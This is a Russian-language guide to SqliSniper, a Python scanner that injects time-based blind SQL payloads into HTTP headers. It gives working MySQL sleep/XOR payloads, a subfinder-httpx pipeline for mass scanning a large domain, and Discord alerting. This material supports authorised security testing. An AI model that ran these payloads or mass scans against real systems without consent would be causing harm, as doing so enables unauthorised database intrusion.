
Продвинутый фаззер для слепой SQL-инъекции на основе времени для HTTP-заголовков
Возможности • Установка • Использование • Запуск SqliSniper • Вклад •
SqliSniper — это мощный инструмент на Python, предназначенный для обнаружения временных слепых SQL-инъекций в заголовках HTTP-запросов. Он ускоряет процесс оценки безопасности, быстро сканируя и выявляя потенциальные уязвимости с помощью многопоточности, обеспечивая скорость и эффективность. В отличие от других сканеров, SqliSniper разработан для устранения ложных срабатываний и отправки оповещений при обнаружении с помощью встроенной функции уведомлений Discord.

git clone https://github.com/danialhalo/SqliSniper.git
cd SqliSniper
chmod +x sqlisniper.py
pip3 install -r requirements.txt
Будет отображена справка по инструменту. Вот все поддерживаемые опции.
ubuntu:~/sqlisniper$ ./sqlisniper.py -h
███████╗ ██████╗ ██╗ ██╗ ███████╗███╗ ██╗██╗██████╗ ███████╗██████╗
██╔════╝██╔═══██╗██║ ██║ ██╔════╝████╗ ██║██║██╔══██╗██╔════╝██╔══██╗
███████╗██║ ██║██║ ██║ ███████╗██╔██╗ ██║██║██████╔╝█████╗ ██████╔╝
╚════██║██║▄▄ ██║██║ ██║ ╚════██║██║╚██╗██║██║██╔═══╝ ██╔══╝ ██╔══██╗
███████║╚██████╔╝███████╗██║ ███████║██║ ╚████║██║██║ ███████╗██║ ██║
╚══════╝ ╚══▀▀═╝ ╚══════╝╚═╝ ╚══════╝╚═╝ ╚═══╝╚═╝╚═╝ ╚══════╝╚═╝ ╚═╝
-: By Muhammad Danial :-
usage: sqlisniper.py [-h] [-u URL] [-r URLS_FILE] [-p] [--proxy PROXY] [--payload PAYLOAD] [--single-payload SINGLE_PAYLOAD] [--discord DISCORD] [--headers HEADERS]
[--threads THREADS]
Detect SQL injection by sending malicious queries
options:
-h, --help show this help message and exit
-u URL, --url URL Single URL for the target
-r URLS_FILE, --urls_file URLS_FILE
File containing a list of URLs
-p, --pipeline Read from pipeline
--proxy PROXY Proxy for intercepting requests (e.g., http://127.0.0.1:8080)
--payload PAYLOAD File containing malicious payloads (default is payloads.txt)
--single-payload SINGLE_PAYLOAD
Single payload for testing
--discord DISCORD Discord Webhook URL
--headers HEADERS File containing headers (default is headers.txt)
--threads THREADS Number of threads
URL можно указать с помощью флага -u для сканирования одного сайта.
./sqlisniper.py -u http://example.com
Флаг -r позволяет SqliSniper читать файл, содержащий несколько URL для одновременного сканирования.
./sqlisniper.py -r url.txt
SqliSniper также может работать с вводом через конвейер с помощью флага -p.
cat url.txt | ./sqlisniper.py -p
Функция конвейера обеспечивает бесшовную интеграцию с другими инструментами. Например, вы можете использовать такие инструменты, как subfinder и httpx, а затем передать их вывод в SqliSniper для массового сканирования.
subfinder -silent -d google.com | sort -u | httpx -silent | ./sqlisniper.py -p
По умолчанию SqliSniper использует файл payloads.txt. Однако флаг --payload можно использовать для предоставления собственного файла нагрузок.
./sqlisniper.py -u http://example.com --payload mssql_payloads.txt
При использовании пользовательского файла нагрузок убедитесь, что вы заменяете время задержки на %__TIME_OUT__%. SqliSniper динамически корректирует время задержки итеративно для уменьшения потенциальных ложных срабатываний.
Файл нагрузок должен выглядеть следующим образом.
ubuntu:~/sqlisniper$ cat payloads.txt
0\"XOR(if(now()=sysdate(),sleep(%__TIME_OUT__%),0))XOR\"Z
"0"XOR(if(now()=sysdate()%2Csleep(%__TIME_OUT__%)%2C0))XOR"Z"
0'XOR(if(now()=sysdate(),sleep(%__TIME_OUT__%),0))XOR'Z
Если вы хотите тестировать только с одной нагрузкой, можно использовать флаг --single-payload. Убедитесь, что вы заменяете время задержки на %__TIME_OUT__%.
./sqlisniper.py -r url.txt --single-payload "0'XOR(if(now()=sysdate(),sleep(%__TIME_OUT__%),0))XOR'Z"
Заголовки сохраняются в файле headers.txt. Для сканирования пользовательского заголовка сохраните собственный HTTP-заголовок запроса в файле headers.txt.
ubuntu:~/sqlisniper$ cat headers.txt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
X-Forwarded-For: 127.0.0.1
SqliSniper также предлагает уведомления Discord, улучшая функциональность за счёт оповещений в реальном времени через вебхуки Discord. Эта функция оказывается бесценной при крупномасштабном сканировании, позволяя оперативно уведомлять об обнаружениях.
./sqlisniper.py -r url.txt --discord <web_hookurl>
Количество потоков можно задать с помощью флага --threads.
./sqlisniper.py -r url.txt --threads 10
Примечание: Важно учитывать, что использование большего количества потоков может привести к потенциальным ложным срабатываниям или пропуску реальных проблем. Из-за особенностей временных SQL-инъекций рекомендуется использовать меньшее количество потоков для более точного обнаружения.
Правовое предупреждениеИспользование этого инструмента для атаки на цели без предварительного взаимного согласия строго запрещено. Конечный пользователь обязан соблюдать все применимые местные, государственные и федеральные законы. Разработчики не несут ответственности и не несут обязательств за любое неправомерное использование или ущерб, причинённый этой программой. |
Вклад в SqliSniper всегда приветствуется. Будь то улучшение функций, исправление ошибок или доработка документации — любая помощь ценится.
SqliSniper распространяется под лицензией MIT
SqliSniper создан на
с большой 💙 от @Muhammad Danial.